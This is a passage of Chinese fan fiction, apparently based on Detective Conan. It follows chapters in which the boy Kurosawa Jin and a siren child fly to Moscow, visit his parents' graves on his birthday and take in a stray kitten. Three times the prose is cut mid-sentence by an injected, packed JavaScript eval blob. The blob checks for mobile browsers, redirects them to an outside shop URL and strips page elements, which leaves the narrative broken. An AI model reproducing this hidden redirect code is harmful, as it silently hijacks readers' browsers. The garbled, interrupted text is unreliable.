从东京到莫斯科要飞十几个小时,坐组织的专线这一班只有黑泽阵和飞鸟彻羽两个,加上机组人员,还有一队严阵以待的安保,都被一道推拉门隔开,有一个巨大的卧室留给香槟休息。 小孩一关上门,就迫不及待地放出翅膀和尾巴,在绵软的大床上滚来滚去,然后伸手扒住窗沿,额头贴着玻璃,看着雨点越来越小,飞机在跑道上站定,助跑,起飞。 地面上的建筑越来越小,一直到在视野里缩成一个小点,和其他肉眼所及的其他地方再没有什么区别。 “我还是第一次见飞机起飞呢……” 之前在家里的时候都是坐传送门,后来到组织的那次昏过去了,完全没有留下什么记忆。 飞鸟彻羽趴在玻璃上,看着下面连绵不绝的万家灯火出神。 要是组织能像飞机起飞一样消失掉就好了。 所以到最后,冷战连一个小时都没有坚持下来。 黑泽阵眼看着小孩的耳羽一点点耷拉了下去,隐秘在不会被清楚注视到的黑暗里,努力缩成一小团。 飞鸟彻羽的情绪是表演性的,黑泽阵清楚的知道这一点,从第一次见面的时候就知道。 他在该流泪的时候落泪,该讨饶的时候撒娇,该满意的时候扯起嘴角…… 情绪是用来影响别人的,而非干扰自己,这一点飞鸟彻羽一向做的很好。一直到现在,透过黝黑的帷幕,黑泽阵终于能窥见一点点真正属于他自己的东西。 耳羽耷拉下来是什么意思呢? 不难过的时候眼泪随随便便就掉下来,结果现在真正低落的时候,又开始憋着不吭声了。 真拧巴。 黑泽阵从床上爬起来,转身去了隔间的小厨房,拉开冰柜,先挑出一些放不住的食材,开始起火烹饪今晚的夜宵。 飞鸟彻羽趿着拖鞋,鞋底啪唧啪唧的拍在地上,抱着自己的小熊慢吞吞地跟进厨房,被黑泽阵随手塞了一个土豆。 ……好吧。 小孩默默叹气,在煮鸡蛋的锅和住鸡胸肉的锅面前犹豫了一下,最后选择了左手边的那一只丢进去,搬来一个小板凳,坐在上面看火。 “我们吃什么?” 黑泽阵又从储藏柜里面找出一罐没开封的蛋黄酱,和三条看起来是现杀好放进去的秋刀鱼,用柠檬汁腌好,准备一会丢进烤箱里烤。 没去苦胆,飞鸟彻羽喜欢带点苦味的东西。 “土豆沙拉,烤秋刀鱼——你想吃海胆饭吗?” 飞鸟彻羽纠结了一下,在“好像现在也不饿”,和“可是阿阵做的海胆饭真的很好吃”之间选择了后者:“吃一点吧?” 黑泽阵做饭很迅速,不到半个小时,今晚的夜宵就上了餐桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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观赏价值当然也算是价值! “长得好看也是很了不起的优势吧。” 黑泽阵慢条斯理地咽下嘴里的土豆,才开口道:“长得像白萝卜。” 什么像白萝卜?!哪里像白萝卜?! “我有羽毛的欸?” 白萝卜也是白色的。 “……我也有尾巴。” 比起下半身会分成两条腿的人类来说,更像白萝卜了。 飞鸟彻羽憋了半天说不出个所以然来。 考虑到都不太饿的缘故,黑泽阵只做了一小碗饭,准备两个人只吃一碗。 小孩慢吞吞地爬下椅子,伸手舀了一小勺米饭,递到黑泽阵面前,看着他吃了。 又努力夹起来一块鱼,眼巴巴地递到他面前: “不要嘛……我错了啦……” “别撒娇——撒娇没用。” 57.囚鸟 终于到达目的地的时候,扑面而来的就是吹在脸上刀割一样的寒风,把裹得像一只毛巾卷,带着猫猫头针织帽,拎着自己的小熊昏昏欲睡的飞鸟彻羽吹的一激灵。 黑泽阵一边伸手摁住自己的帽子,一边一把捞住被风推着往旁边跑的某只的后衣领子,想了想,还是把他提进怀里抱着。 连同他的小灰熊一起。 飞鸟彻羽解开自己的围巾,只给自己缠上一半,另一半给黑泽阵围上,自己把脸埋在围巾和黑泽阵的脖颈间躲风。 之前被黑泽阵仔细用围巾压住的,又长又厚还带着卷的头发没了束缚,被一同卷起,描绘出风的形状,像是漫天飞舞的白雪。 完全出乎飞鸟彻羽预想的是,黑泽阵家的小别墅居然紧挨着市中心,从家门往外走出几百米就能看见剧院广场。 莫斯科大剧院的那个剧院广场。 飞鸟彻羽双手扒住黑泽阵单薄又有力的肩膀,努力拧过大半个身子,默默看着他敲响了那扇紧闭的门。 开门的是一个有点谢顶的中年男人,腮边的胡子打理的很精细,将门推开一条半人宽的缝隙,很小心地向外观望:“拉斯柯尔尼科夫?” 也许是因为天实在是太冷的缘故,黑泽阵的俄语另有一番味道,俄式弹舌合着寒风的凛冽,像是在吟唱古老又晦涩的禁咒: “……阿纳托里·米哈伊尔维奇·拉斯柯尔尼科夫。” 冗长连绵,像是俄罗斯漫长的国境线。 ……听起来比我的名字还要长。 “谢顶”折回屋里拿出了一只小巧的首饰盒,放在黑泽阵的手心里,又捏着一个深紫色的小袋子,递给飞鸟彻羽。里面装的是松松软软的曲奇饼干,闻起来是黄油的香味和蔓越莓的酸甜,说不定还撒了糖霜,带着些许温度,估计是刚刚烤出来的。 “谢谢。” 黑泽阵将首饰盒放进自己的风衣口袋,眼疾手快一把接住将要落地的小熊,塞回到飞鸟彻羽怀里,又从飞鸟彻羽手里接过那一小袋曲奇,掂了掂重量,确认里面没多什么不该多的东西,又塞回到飞鸟彻羽手里。 门在他们身后扣上,发出的轻响被风吹散。 这里好像不久前才刚下了雪,不太厚,走在小路上的时候,新雪踩在脚底下,发出“咯吱咯吱”的声音。 飞鸟彻羽舔舔自己因为被长出的恒牙顶的松动的坐上门牙,很艰难地一边环住小熊的脖子,一边努力将带着连指手套的双手解放出来,撑开曲奇口袋,倒出一块捏在手里,递到黑泽阵嘴边:“你吃。” 天太冷了,这么一小会的功夫,曲奇已经开始变凉,连带着飞鸟彻羽失去手套保护的双手都在迅速从指尖开始变红。 黑泽阵委拒:“……你还真敢吃啊?” “怕什么?”飞鸟彻羽自有自己独一套的诡辩逻辑,能在任何时候自圆其说,以达到自己不论什么时候都占理的效果,“就算是要害怕,也是他害怕我们吧?” 我们可是杀人犯欸,还是专门找上门来的那种,“谢顶”至少没杀过人——因为身上没有那种特殊的腌入灵魂的血腥味。 当时的心跳声也不是心虚的意思,而且闻起来确实没有什么特殊的味道。 但是阿阵说得肯定也有他的原因……飞鸟彻羽试探性得放慢了动作,在黑泽阵的注视中,将那块曲奇整个放进了嘴里。 齁甜。 塞壬藏在帽子下面的耳羽已经僵直了,好在面部肌肉和神经都不发达,所以才没有失去表情管理,一脸“慷慨就义”似的,悲壮地将嘴里的东西咽了下去。 ——有没有恶意,是不是同行黑泽阵当然一眼就能看得出来,当初联系金酒帮忙卖房子的时候也早就将买家调查的一清二楚,出声阻拦只是出于一点“善意”的提醒罢了。 飞鸟彻羽硬是不信这个邪,黑泽阵也没办法。 “那个大叔肯定是个技术老练的投毒犯,”吃了个闷亏的飞鸟彻羽瘪瘪嘴,开始给自己找补,又摸出一块给黑泽阵尝尝,“专门往食物里面放过量的糖,让不知情的倒霉蛋得糖尿病。” 黑泽阵就着他的手,在飞鸟彻羽期待的目光下,叼住曲奇吃了进去。 嚼嚼.jpg 无事发生。 飞鸟彻羽不信邪,总感觉黑泽阵是装得,还想再喂一……算了,吃太多糖没好处。 小孩将指尖的饼干渣拍掉,把曲奇袋子的挂绳套在小熊的耳朵上,已经有些冻得失去知觉的双手被黑泽阵抓住捂热,又塞回到手套里,继续往前走。 飞机是今天凌晨天还没亮的时候着落的,被严重搅乱了作息的飞鸟彻羽一安静下来,就开始搂着黑泽阵的脖子犯困,但是在公共场合也睡不着,于是眼神变得迷离,默默地数他的心跳声和踩雪的脚步声。 起初只有一道,渐渐地越来越多,新雪也越来越少,“咯吱”完全消失的时候,他们在一家花店的门口停下来。 店面上挂了一串很公正的字符。 什么什么什么……不认识,飞鸟彻羽的俄语仅限于听和说,不识字,词汇量也不太大,单论这一种语言来讲,他是个有语言障碍的文盲。 黑泽阵扯下围在自己脖子上的那一半围巾,拿在手里,将飞鸟彻羽放下来,把散着的围巾连同之前的一起裹在他的脖子上。 “包一束подсолнух。” ……“подсолнух”是什么意思? 飞鸟彻羽看见店主很习惯地抽出一张玻璃纸,在里自己最近的水桶里面捏出一支带水的橙黄色大脸盆花,剪掉叶子和一小块根茎,端端正正地摆在玻璃纸上,再去拿下一支。 哦,“подсолнух”是向日葵的意思。 这里的前台设计对小孩的身高实在不是很友好,飞鸟彻羽站在面前,只能看到一整块的木板,他对听别人包花没什么兴趣,眼睛滴溜溜的转来转去,发现了摆在角落里面的一只小小的电子表。 今天是圣诞节来着。 很快电子表也失去了吸引力,飞鸟彻羽又相中了角落里面的一桶白色山茶花,慢慢挪过去趴进了看。 说实话其实也没那么好看。 但是黑泽阵今天的心情很微妙的有些不好,飞鸟彻羽敏锐如小动物一样的危险雷达正在“哔哔”作响,这种时候还是不要去故意讨嫌的比较好。 少年低哑的声音再次在空荡的店内响起,这次飞鸟彻羽听懂了:“再要一束山茶,红白两色的。” 于是连打发时间的观赏对象都没有了,勉强只有店主腿高,亦步亦趋地跟在她的低马尾后面,转了一圈,又重新回到收银台。 很快花包好了,黑泽阵从钱夹里数出钱来,递给店主,拿起两束包好的花,抱在怀里就要领着飞鸟彻羽往外走,被店主拦下了。 女人抽出旁边的毛巾擦干净手,把飞鸟彻羽被风吹的乱成一团的头发理顺,编好,盘成一个低低的丸子,选出两支开的正好的山茶花,一红一白,把花茎剪掉一半,插进他的头发里,又从柜台的抽屉里拿出了两板巧克力,递给他。 飞鸟彻羽一时拿不定主意,扭头回去看他。 “……拿着吧。” 于是一起被塞进了风衣口袋里,和之前的小首饰盒做邻居。 这次黑泽阵没有手抱他了,飞鸟彻羽只好自己走,一边抓着他的风衣腰带。 被放下来的时候才发现,越是往前,越是脚步密集,之前崭新的积雪被踩得紧实,每一步都有前人走过,每一步都安全平稳,带有鞋底留下的印记——而这条汇满脚印的路一直将他们领向公墓。 黑泽阵一直领着飞鸟彻羽在一对墓碑面前站定,分别放下两束花。 墓碑很干净,只是有点积雪,黑泽阵有给守墓人定期汇钱,拜托他定期打扫。 故事也无非就是那么平平无奇又老套: 休假时抢到了票的男人正好去看了由女人主演的《茶花女》,一见钟情,热恋,约会,结婚,生子。 男人会弹钢琴,歌也唱的不错,闲暇时候的亲子活动,就是弹琴跳舞,他从小耳濡目染,也学了不少曲子。 直到那一天到来的时候,男孩正趴在书房的躺椅上,和父母一起听着收音机的广播,字正腔圆的母语突然在那个时候成了几乎没办法理解的东西,在耳边飞速划过,但又一字不落的刻在了脑子里。 什么意思? “独立”了是什么意思? 男人的背一下子佝偻了下去,从喉咙里露出几个音节,叹息似的: “……出去吧。” 他那个时候想说什么,但是被母亲抓住手臂硬扯了出去。下意识回头张望的时候,记得当时窗外昏暗的天空,还有空中盘桓着的,遮天蔽日的乌鸦,全部都被慢慢掩上的厚重的木门隔绝在视线之外。 “砰!” 子弹的破风声惊飞了窗外的鸟,乌泱泱的一大片,于是他们选了棺材,埋了他。 那天他们准备了两块墓地,相邻的,心照不宣的。 在那之后不久,女人也相继去世,于是他用那块之前早就准备好的墓地也埋葬了她。 所有都感叹,她像自己扮演了一辈子的《茶花女》的女主角玛格丽特那样,死于肺病,脸上说不出的唏嘘,只有他知道,女人也是死于子弹。 那颗被男人亲手扣下扳机打出的子弹,贯穿了一个人的后脑,带走了两个人的生命。 再后面,失去了那个庞然大物庇护的人们为了勉强生存,□□,偷窃,抢劫,拐卖……实在做不来,又没有钱的,就只好饿死,也许是冻死,又或者随便是什么死法。 ——冬天是很适合死人的季节,不用担心尸体腐烂,大家都尽可能的深居简出,运气好的话可能几个月都不会被发现。 又或者发现了也没有人可以管。 他完美继承了父母双方的优势,长了一张好脸,聪明伶俐沉稳早熟——这样的孩子总能卖上一个好价钱。 在一次失手杀死了某个不怀好意摸进家里的陌生人之后,他主动找上了组织,加入了乌鸦的巢穴。 从那时起,阿纳托里·米哈伊尔维奇·拉斯柯尔尼科夫就算是死了,取而代之的是组织的黑泽阵。 黑泽阵将手伸进口袋里,首先摸到的是一个扁平的形状,下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120564|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地一怔才想起来,是之前那个店主给的巧克力。 用手一起抓住只有小孩才会喜欢的小零嘴,摸出来那只被压在最下面的首饰盒子,打开,是一只银质底座托着森绿色翡翠的戒指。 据说是求婚时候送的,当初被藏在了壁橱背面的暗格里,这才逃过一劫。 黑泽阵抽出一条银链从中穿过,从颈后拧紧,于是戒指就变成胸链,坠在脖子上。 少年从守墓人的小屋里面借来了扫帚,一点一点开始扫雪,专门跟在飞鸟彻羽后面扫。 飞鸟彻羽本来只是老老实实地站在一边看着,倒腾着小短腿让了几次,都被黑泽阵一步就追了上来,瞪大眼睛控诉他也没用,实在被扫帚赶得没处躲,只好折回去扑在黑泽阵身上,环住他的腰不撒手。 黑泽阵早就被他扑习惯了,顺手给他正了正帽子,轻轻用力拨,飞鸟彻羽怕他再扫他,也不肯撒手,就环住他的腰转到黑泽阵的身后,像条小尾巴似的,亦步亦趋地坠在后面,一直到他扫完才肯松手。 目送着黑泽阵拎着扫把回去还的背影渐行渐远,飞鸟彻羽终于有机会,可以仔细观察墓碑的主人: 凑近了看,上面的照片一男一女,男人和黑泽阵如出一辙的银发碧眼下三白,女人和单看脸和黑泽阵有六分相似,男人是军官打扮,看起来还挺厉害的样子,女人妆扮精致,看起来可能是艺术从业者。 ——飞鸟彻羽确认这应该就是黑泽阵生理意义上的父母。 真的很像欸,就像是从父母这两张脸上挑了各自优越的部分,组合起来的。 飞鸟彻羽站在两座墓碑中间,左看一眼右看一眼,认真对比着他究竟是哪里来自于母亲,又是哪里来自于父亲。 于是黑泽阵回来的时候,就看见飞鸟彻羽捧着一只殷红的苹果,对着自己母亲的墓碑嘀嘀咕咕。 顺风将他的声音一字不差地传到耳朵里,仔细分辨,听清楚他在很认真地跟自己的母亲说话,塞壬空灵似鲸鸣,清脆如鸟啼的音色听起来很像是祈祷。 他肯定没有做过礼拜,也没有见过别人许愿,所以想到什么说什么,理直气壮地提要求:祈祷他的母亲保佑他不要秃头,不要皱脸,不要变丑,平安顺遂,心想事成,做饭不要加辣,糖也少加…… 到最后实在没有什么事情可以说的,就开始夹带私货,问能不能保佑他们发财。 在各种传统的西方神话故事中,“苹果”总是作为“诱惑”的具象化代名词: 在希腊神话中,为了争夺纷争之神厄里斯奉上的金苹果,众神之母赫拉、智慧女神雅典娜、爱神兼美神维纳斯争奇斗艳,百般许诺,希望负责裁决的王子帕里斯将金苹果审判给自己,后因赫拉和雅典娜对裁决结果不满,直接导致了特洛伊战争。 而在圣经的故事里记载,最初的人类,亚当和夏娃,在毒蛇的引诱下偷食禁果,被逐出伊甸园。 黑泽阵在此之前一直不明白,区区一只苹果的诱惑,如何就足够将其引诱的丑态百出,但是现在隐隐约约懂了。 好吧。 黑泽阵如是想到。 我原谅赫拉和雅典娜的过错,宽恕亚当和夏娃的罪责。 ……他的苹果哪来的? “你偷人家的贡品?” 什么叫偷?!太过分了! 飞鸟彻羽瞪大眼睛控诉他:“我经过了墓主人同意了。” “你能和死人对话?” “死了太久就没办法了,形成镶合体的情况除外。” 黑泽阵用一种很是怀疑的目光扫视着他:所以你是怎么“被同意”的? “我问他,反正你不吃也会坏掉,分我一个行不行?”飞鸟彻羽瘪瘪嘴,鼓起脸颊,被冻得红红的脸蛋看起来也像是一只苹果,“反正他没说不行,那就是默认了。” 当事人都没讲什么,你更不能说我了。 黑泽阵在“当众把他屁股打开花”和“回去之后把他屁股打开花”之间纠结了一下,最后选择拧了他的脸,明明没用力,飞鸟彻羽表现得很痛似的,非常真情实感地哀叫出声来。 被打扫过后的地面还算干净,黑泽阵坐在地上,倚靠在墓碑上,拍拍身边的位置。地面上又冷又硌,飞鸟彻羽不想委屈自己的尾巴,思考了一下,决定坐在他的腿上。 黑泽阵没说话。 阿阵也默认了。 “……今天是我生日。” 可是今天是圣诞节? “这么厉害?” 虽然飞鸟彻羽家里没一个活物信教,但是和耶稣同一天生日还是一件很了不起的事情。 “……东正教的圣诞节不是在十二月。” “那我们明年你再过生日的时候,去十二月过圣诞节的地方好啦。”这样所有人都会给你过生日啦。 他似乎觉得这个建议实在有趣,嘻嘻哈哈的把脸埋在小熊身上,笑得东倒西歪。 “……再笑就把你挂在路灯上。” 飞鸟彻羽拉平嘴角,放平呼吸止住笑…… 好像听到了什么声音? 隐秘在寒风之间的,几不可闻的呼吸声。 58.囚鸟 循着声音找去,发现是一只一个多月大的小奶猫,一双深蓝色的圆眼睛,浑身纯白的毛色在雪地里一点都不显眼,连叫声都被寒风埋没,如果不是被他们发现,估计很快就要被冻死。 飞鸟彻羽有点嫌弃它脏,从地上捡起来一根小树枝,戳戳,小猫细声细气地叫了两声。 ……是白猫欸,还挺可爱的。 “没听到有其他大猫的声音呢,它是不是被遗弃了?” “估计是因为长得丑吧。” 纯白在猫中确实不算是受欢迎的颜色。 “白色才不丑呢,”飞鸟彻羽决定为自己正名,“分明就是五官长得不好看,白色只是不遮丑罢了,要是像黑猫那样纯黑的看不出脸来,根本就没有美丑的概念了——更何况我就是白色的。” 我难道不好看吗?所以说白色丑是谬论。 “你自己也不是纯白的。”毛发确实是白色没错,但是尾部是像珍珠一样珠光色,会在阳光的照射下折射出水晶一样的光辉。 黑泽阵蹲在它面前,提起猫后颈,发现两只眼睛的颜色有细微的不同,估计退完蓝膜之后也是和飞鸟彻羽如出一辙的,左金右蓝鸳鸯眼:“右边那只耳朵应该是聋的。” 被丢弃的理由应该是残疾。 小猫感受到手心的温暖,被放下之后急得喵喵叫,颤颤巍巍地顶着自己的脑袋蹭蹭黑泽阵的裤脚。 ……绿茶猫! 飞鸟彻羽在黑泽阵看不见的视觉死角,睁圆眼睛瞪它。 小猫咧开嘴巴夹起嗓子,看起来更丑了:“咪~” 黑泽阵重新拎起猫的后颈,把它塞进自己的风衣口袋里,准备不管最后养不养,至少别让它冻死在这里。 “……我们要养它啊?” 飞鸟彻羽不情不愿地开口,企图说服他打消这个一点都不明智的坏主意,一根一根掰着手指头数:“我们没有时间欸,而且它晚上会叫,很吵,它有可能抓人咬人,它说不定还有可能是弱智,它还会把外面抓回来的老鼠放在门口,要给它弄猫吃的饭,它还可能会生病,这么小很有可能养不活……” 越说越感觉自己简直是罄竹难书,一只手都数不过来,最后实在没有什么底气讲猫的坏话,只好讪讪闭嘴,半天憋出来一句: “我不要和它一起,它身上肯定有虫子。” 反正阿阵肯定不能把我退回去或者赶出家门——之前兴师动众连人带器材搬了那么多人,现在一句话就可以反悔吗?而且我这么贵,直接放归了那些个老东西有一个算一个都要心肌梗死。 黑泽阵轻飘飘地看了他一眼,真是难为你找这么多的借口。 飞鸟彻羽瘪瘪嘴,后知后觉的感到有点窘迫了。 小孩子,尤其是聪明又敏感的孩子,是很容易察觉到别人对自己的喜欢的,于是就会看人下菜,在对自己容忍度高的人面前恃宠而骄,理直气壮地翘尾巴。 但是黑泽阵好像一点都不在乎,就像是小河豚鼓起浑身的勇气,然后被他捏起来沾了鞋油擦皮鞋。 ……什么嘛,还以为阿阵很喜欢我呢。 飞鸟彻羽把脸埋在小熊身上,闷闷地开口,带着很可怜的哽咽声:“那你想养就养呗。” 黑泽·至始至终一句话都没讲·阵:……好话坏话都让你说完了,那我说什么? 不过飞鸟彻羽说的没错,这只猫确实是不适合养在身边。 “不养它,随便喂两天,找个人送出去。” 于是飞鸟彻羽满意了,从小熊的脑袋后面露出一双眼睛来,亮晶晶的鸳鸯眼,笑吟吟地看着他。 一想到之后我也要当绿茶,我就忍不住想笑.jpg 黑泽阵:…… “你之前拿的是谁的苹果?” 阿阵默认了。 飞鸟彻羽心情大好,乐颠颠的发出两声“嘎嘎”的叫声,顷刻,一只浑身养的油光水滑的大白颈鸦展翅降落在飞鸟彻羽的肩膀上,跳了跳,也“呱呱”得叫了两声。 两只就当着黑泽阵的面前交流了起来。 “那只苹果是拖把送给我的,它说它自己挑了最大最好看的一只呢。” “拖把”是附近这一整群乌鸦的老大,平时主要的食物来源就是墓园里琳琅满目的贡品,偶尔也会带着族群狩猎小型动物,比如鸽子老鼠之类的。 刚刚被塞壬漂亮的耳羽吸引,想要趁他不注意薅一根的时候,被早有准备的飞鸟彻羽一把抓住,硬喂了两块曲奇饼干之后成功拿下。 飞鸟彻羽很得意地向黑泽阵宣布:“我现在是附近所有乌鸦的老大!” ……一来这里就飞速“开疆扩土”,只能说真不愧是做了老鼠都要当皇帝的飞鸟彻羽。 “乌鸦头子”和他的“头号佞臣”嘎嘎呱呱了半天,又有一只健壮的,这次是周身黑色的渡鸦扑扇着翅膀,带着某只被乌鸦啄食的一干二净的果篮放到面前,展开翅膀对着飞鸟彻羽行礼。 墓园的贡品就是这样的,虽然本意是想要让逝去的人吃点好的,但事实上绝大多数时候都是被各种各样的小动物当作了自助餐。 黑泽阵在心里默默斟酌的一下,发现即使是勒令他现在放回去,很快也会被啄食的一干二净。 ……算了,就当是被鸟吃了吧。 * 终于到达黑泽阵置办的安全屋的时候,已经是傍晚了。 少年拿出钥匙拧了两圈,伴着“吱呀——”的门轴呻吟声,拉开了厚重的木门。 再里面一道是被电子锁扣住的防爆铁门,黑泽阵摁下一串密码,一串“滴滴”的声音响起,这次才是正式进了家门。 在到之前金酒早就摆脱后勤组的成员安排好了:不大不小的房子,放在周边是很不显眼的程度。两间卧室都有独立卫浴,最大的房间改成了储物室,次一点的是书房,厨房在客厅的边缘,另一头是阳台。 黑泽阵把刚买回来的食材和小蛋糕一起摆进冰箱里,上前扣了扣阳台的玻璃门,发现使用的是钢化玻璃,每一扇窗户都有两层窗帘,一层又厚又长,拉上之后密不透光,即使是白天也像是在黑夜一般。另一层是纱的,缝隙可以透光,隐约可以看见外面。 “以后记得,这层厚的窗帘,家里有人的时候可以开,这层纱窗帘不论什么时候都不能打开。” 飞鸟彻羽应了一声,表示自己听清楚并记住了。 黑泽阵将房间里里外外翻了个遍,确认没有任何一处纰漏,也没有什么不该出现的,比如说“窃听器”之类的东西。 猫被黑泽阵放在地暖最旺的地方,身体恢复温度之后缩进了沙发底下,现在正很安静地打量着这个新环境。 “拖把”也跟了回来,但是没有进屋,现在正站在厨房窗沿上,隔着一道道焊死的防盗窗看着飞鸟彻羽踩着小板凳,站在厨房水槽面前洗番茄和土豆。 ——这要是被那些个白大褂和老东西看见了得背过气去,也就是黑泽阵舍得并指使地动飞鸟彻羽干活。 水壶里传来沸水烧开之后特有的翻滚声,飞鸟彻羽爬下椅子,拧上阀门,水壶太重了提不动,等着阿阵回来处理。 接下来的事情就不是飞鸟彻羽能帮得上忙的了,于是小孩被“用过就丢”的少年赶出厨房,擦干净手,从购物袋里面摸出黑泽阵刚刚买的小熊软糖,在沙发上和自己的小熊挤在一起,屏住呼吸,仔细听着小猫的动静。 一旦发现它挪了位置,飞鸟彻羽也就跟着移动,就像是附身鬼怪,一定要飘在它的头顶上。 猫是会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128558|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划分地盘的独居生物,比起“一起生活的同伴”它们更需要“属于自己的领地”,很巧的是塞壬也是如此,甚至是有过之而无不及: 作为凶残又具有旺盛攻击欲望的大型海妖,塞壬通常会倾向于统领自己领地内的所有生物,并尽可能的扩大自己的领地,如果发现自己的领海有其他海妖入侵或者向外扩张被阻碍了的时候,就会企图杀死对方,即使是同类也不例外。 这也是塞壬数量稀少,最终导致灭绝的主要原因。 飞鸟彻羽放出尾巴和翅膀,扒住沙发绵软的边缘,探头出去在沙发缝里面和小猫对上视线,两双同样圆润的鸳鸯眼像是隔了一层镜面,小猫的尾巴炸起来,一副色厉内荏的样子,压低嗓音发出“呜呜”的震慑声。 小夹子,刚刚在阿阵面前可不是这么叫的。 发现它害怕自己的飞鸟彻羽心情好得出奇,也对着它一样的“呜呜”叫,塞壬学舌就像是录音机播放,连声源自己都分不出分别来。 小猫被吓了一跳,连忙往里缩了缩,退回到最深的角落里。 忙碌了一天,终于吃完晚饭的时候,时针的指针已经指向十一点了。 飞鸟彻羽将高脚凳推到冰箱面前,取出自己挑的那款小蛋糕,虽然过去了几个小时但好在一直在冷冻的环境下,奶油几乎没有怎么走形。 塞壬真的是第一次给别人过生日,表现的每个部分都很新奇,兴高采烈地数出十五根蜡烛,整整齐齐的插在蛋糕上,眼看着黑泽阵每一根都点好,把客厅的灯拍灭。 拿出一只拍立得,对着那一片朦胧的火光。 黑泽阵默默叹气选择配合,一口气将所有的蜡烛全都吹灭,飞鸟彻羽抓住机会摁下快门,放在阴暗处,估计很快就能显像了。 少年起身把顶灯拍开,把蛋糕一起端到客厅的茶几上,切成几小块,两个人一起挤在沙发上看电视。 飞鸟彻羽给自己弄了一小块蛋糕放进嘴里,不出预料的也是齁甜,勉强自己硬着头皮咽下去之后拒绝第二口:“……阵阵?你吃苹果吗?” 为什么还惦记着苹果? “你自己吃吧。” 飞鸟彻羽于是点点头,捧起苹果啃了一口…… “唔——?!” 黑泽阵被他突然的尖叫吓了一跳,只见苹果本来通红饱满的外表上,长出了一颗门牙。 “……张嘴。” 飞鸟彻羽听话照做,于是就听见一声轻响,好像是刚刚摁下快门的声音。一睁眼果不其然:黑泽阵正举着他刚才用过的拍立得,对着自己缺了的门牙的牙缝处。 留完纪念,黑泽阵才捧着他的脸仔细观察了一下:“长出新牙来了,没事。” 飞鸟彻羽还想讲点什么,但是想要说话就要张嘴,张嘴就要露出自己的牙缝,所以还是算了。 没有提前缴费的电视只有三四个台可以看,在家电广告、歌剧表演和黑白默片之间,选择了最后一个。 看画质就知道是上了年纪的老片子,两个人一个见惯各种魔法,一个每天作奸犯科,谁都没弄明白卓别林的幽默在哪,面无表情的审视着电视机的时候,看起来严肃的就像是在观摩一场心脏搭桥手术。 飞鸟彻羽今早起的太早了,现在昏昏沉沉地只想睡觉,不一会就依偎在黑泽阵身边,睡成一小团。 黑泽阵眼见着指针马上就要过了十二点,几口把小蛋糕吃进嘴里,起身收拾残局时,发现在蛋糕的包装盒里面还有一张纸质的生日帽。 ——塞壬没见过这个东西,他以为是包装时候装饰用的废纸。 黑泽阵把卡口塞进最小的纸缝隙里面卡住,轻轻戴在飞鸟彻羽的头上,关上客厅的顶灯,黑夜的被子盖在飞鸟彻羽身上,睡眠重新被黑暗笼罩。 59.囚鸟 “醒醒。” 才睡下没一会的飞鸟彻羽被摇醒,睡得凌乱的头发膨起来,脸上印着绒布沙发上面特有的红印子:“……天亮了吗?” ——这是身体醒了,但是脑子还没醒。 “刷牙去,”黑泽阵抓住飞鸟彻羽的翅膀,把他提起来再放到地上站好,推推他的后背叫他往前走,“刷完牙再睡。” 要是长出来蛀牙,黑泽阵不用想也知道那些个白大褂又要碎碎叨叨成什么样子。 飞鸟彻羽真的很困,才睡了一小会就被叫起来就更困了,摇摇晃晃地趿着拖鞋往前走,眯着眼睛踩着板凳刷完牙,眼见着就要一脚踩空,又被眼疾手快地黑泽阵一把捞住,提着进了,丢到床上。 劳累了一天的少年终于躺在床上,被被子包围的时候,身体的每一块劳累的肌肉都不约而同地发出痛苦的呻吟。 黑泽阵闭上酸痛的眼睛,准备迎接睡梦的到来……就听见有谁在挠自己卧室的门。 不用看也知道是谁,黑泽阵困得头疼,坐起身扬声道:“进来。” 三分烦躁,三分认命,还有四分是心如死灰的麻木。 门外传来窸悉簌簌的声音,摸了半天终于摸到了门把手,一个模糊的影子推开门,挪窝的时候也没忘了自己的毛绒玩具,又折回去把门推上,吧嗒吧嗒地挪到床前,把被子掀开一个缝,慢吞吞地钻进去。 很好,听脚步声是没穿鞋——还好吃饭之前刚拖了地。 黑泽阵明知故问:“……你又要干什么?” 就知道他肯定不会自己睡的,问就是自从飞鸟彻羽和他一起过过夜这么多次,从来没有自己睡过。 飞鸟彻羽困得声音也黏黏乎乎的粘在一起,嘟嘟囔囔地有点像是在抱怨,又像是在撒娇,在被子里面拱了半天才探出头来:“外面好冷。” 你就穿一件睡衣在外面乱逛当然冷了,不冷才怪呢。 不过好在飞鸟彻羽睡相很好,给自己调整了一个舒服的姿势,基本上睡着的时候什么样,醒来的时候就是什么样,微凉的体温很快就在被窝里面缓过来了,就又到了每晚睡前说小话的环节: “……人类都要过生日的吗?” “不是,”黑泽阵开始例行的应付他各种古古怪怪的问题,“有的过有的不过。” “为什么要过生日呢?” “因为想吃蛋糕。” “那不喜欢吃蛋糕的呢?” “不爱吃就不过。” “只能过生日的时候吃吗?” “对,不过生日的时候吃了要剃头。” “那很想吃怎么办?” “蹭别人的生日。” 